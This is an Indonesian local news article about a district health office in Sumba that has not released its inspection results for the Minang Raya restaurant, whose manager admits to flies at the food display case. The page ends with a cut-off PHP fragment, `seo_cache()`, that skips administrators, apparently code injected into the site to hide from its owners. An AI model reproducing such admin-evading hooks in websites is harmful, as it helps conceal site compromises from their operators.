Kesehatan

Dinkes Kabupaten SBD “Ogah” Umumkan Hasil Pemeriksaan Tim, Pengelola Rumah Makan MR Akui Gangguan Lalat di Etalase

×

Dinkes Kabupaten SBD “Ogah” Umumkan Hasil Pemeriksaan Tim, Pengelola Rumah Makan MR Akui Gangguan Lalat di Etalase

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Hingga kini, hasil pemeriksaan tim Dinas Kesehatan Kabupaten SBD terkait Rumah Makan Minang Raya belum diumumkan.

Padahal, Kepala Dinas (Kadis) Kesehatan Kabupaten SBD, drg Yulianus Kaleka telah menjanjikan untuk memberikan data tersebut.

Dihubungi media ini, Rabu (06/05/2026) Kadis Yulianus Kaleka berjanji akan memberikan data ini esok hari.

Suasana dalam Rumah Makan Minang Raya dengan latar etalase tempat lauk siap saji. ( Foto Menara Sumba )

“Besok saya info tentang catatan-catatan yang disampaikan atas hasil pemeriksaan kemarin,” tulisnya dalam pesan WhatsApp.

Namun saat dikonfirmasi ulang pada Kamis (07/05/2026), Yulianus kembali menjanjikan untuk memberikannya esok harinya lagi.

Namun janji itu tidak pernah terwujud meski dihubungi berulangkali sejak Jumat (08/05/2026) hingga berita ini tayang.

Upaya kontak WhatsApp maupun kontak telepon biasa tidak dijawab, termasuk pesan pun tidak dibalas.

Hal ini menimbulkan beragam tafsir lantaran pihak dinas kesehataan enggan mengumumkan hasil pemeriksaan itu.

Akui Gangguan Lalat

Sementara pengelola Rumah Makan Minang, Salsa Dya Putri mengakui adanya gangguan lalat di etalase tempat lauk siap saji.

Pengelola Rumah Makan Minang Raya, Salsa Dya Putri saat memberikan pernyataan kepada awak media. ( Foto Menara Sumba )

“Kami sudah berupaya maksimal untuk mengatasi gangguan lalat yang selalu datang,” ungkapnya saat dikonfirmasi awak media Selasa (05/05/2026) lalu.

Namun, kata dia, berbagai upaya tersebut belum membuahkan hasil menggembirakan.

Berbagai cara sudah dilakukan seperti penggunaan lampu penghangat, termasuk raket listrik.

Ia menegaskan, jika tidak ada kesalahan dalam pengolahan lauk di dapur, dimana masalah itu datang dari depan (etalase).

“Mungkin ini memang kesalahan kami kurang sedikit mengecek pas keadaan di depan. Atau ada lalatnya hingga lalat hijau kan cepat dia menetas itu telur lalat kan,” akunya.

Menurut Salsa Dya, pihaknya tidak pernah mengolah ulang menu yang tidak habis terjual.

Apalagi, seluruh karyawan termasuk dirinya ikut makan dari menu yang diolah di rumah makan ini.

“Kita semuanya akan kena penyakit bakteri, dan otomatis anak saya (yang ikut makan) tidak akan sehat. Saya punya anak kecil masih empat tahun ikut makan di sini,” bebernya.

Seperti diberitakan sebelumnya, kisruh ini viral usai salah satu akun Facebook mengunggah adanya temuan ulat dalam daging ayam.

Daging ayam berulat ini ditemukan dalam bungkusan nasi bersama lauk yang dibeli dari rumah makan tersebut.

Pihak Dinas Kesehatan Kabupaten SBD akhirnya menurunkan tim untuk memeriksa rumah makan itu usai informasinya viral di media sosial. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>